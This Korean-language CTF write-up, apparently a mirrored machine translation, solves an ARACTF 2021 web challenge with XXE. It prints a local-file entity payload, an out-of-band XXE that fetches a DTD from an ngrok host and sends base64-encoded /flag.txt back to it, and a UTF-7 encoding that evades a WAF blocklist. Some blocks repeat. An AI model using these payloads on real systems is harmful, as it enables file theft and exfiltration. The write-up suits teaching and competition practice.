웹 악용 - 최종 ARACTF 2021 작성
개발중인
Dionlinekan( ͡◉ ͜ʖ ͡◉)에 대한 웹사이트는 다음과 같습니다.
힌트: 인코딩 형식에 대해 알고 계십니까? 얼마나? 그렇다면 이 도전을 마무리합시다
기술 보고서
웹사이트를 열면 갑자기 페이지가 가짜 양식인 login.php로 리디렉션됩니다.
따라서 이 경우 index.php의 내용을 확인하기 위해 burpsuite
를 사용합니다.
xml을 sendmessage
로 보내는 /send.php
라는 흥미로운 자바스크립트 함수가 있습니다. 페이로드는 다음과 같아야 합니다.
<?xml version="1.0"?>
<root>
<name>yudi</name>
<email>[email protected]</email>
<message>hello world!</message>
</root>
mybest.php
에 대한 또 다른 흥미로운 링크도 찾았습니다.
해당 페이지(mybest.php)에서 다른 힌트/flag.txt
를 찾았습니다.
따라서 이전에 본 xml 항목을 사용하여 파일/flag.txt
을 검색할 수 있습니다. 이 페이로드와 함께 insomnia
를 사용해 봅시다.
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag.txt'>]>
<root>&test;</root>
결과:
그러나 또 다른 문제가 있습니다.
<?xml version="1.0"?>
<root>
<name>yudi</name>
<email>[email protected]</email>
<message>hello world!</message>
</root>
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag.txt'>]>
<root>&test;</root>
!DOCTYPE
!ENTITY
!ELEMENT
file://
및 .php
그런 다음 대역 외(OOB) 공격 방법을 시도하여 원격 리소스를 로드합니다.
페이로드:
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % flag SYSTEM "http://075a05cf94ed.ngrok.io/dtd.xml">
%flag;
%all;
]>
<root>&send;</root>
dtd.xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://075a05cf94ed.ngrok.io/%file;'>">
그런 다음 모든 페이로드를 UTF-7로 인코딩하여 WAF를 우회했습니다.
최종 페이로드:
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE root +AFs
+ADwAIQ-ELEMENT root ANY +AD4
+ADwAIQ-ENTITY +ACU flag SYSTEM +ACI-http://075a05cf94ed.ngrok.io/dtd.xml+ACIAPg
+ACU-flag+ADs
+ACU-all+ADs
+AF0APg
+ADw-root+AD4AJg-send+ADsAPA-/root+AD4
dtd.xml
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-ENTITY +ACU file SYSTEM +ACI-php://filter/convert.base64-encode/resource=/flag.txt+ACIAPg
+ADwAIQ-ENTITY +ACU all +ACIAPAAh-ENTITY send SYSTEM 'http://075a05cf94ed.ngrok.io/+ACU-file+ADs'+AD4AIgA+
결과:
플래그: ara2021{ezzz_pz_lemon_sqzzzz}
Reference
이 문제에 관하여(웹 악용 - 최종 ARACTF 2021 작성), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/yudi7ll/web-exploitation-final-aractf-2021-write-up-43p5텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)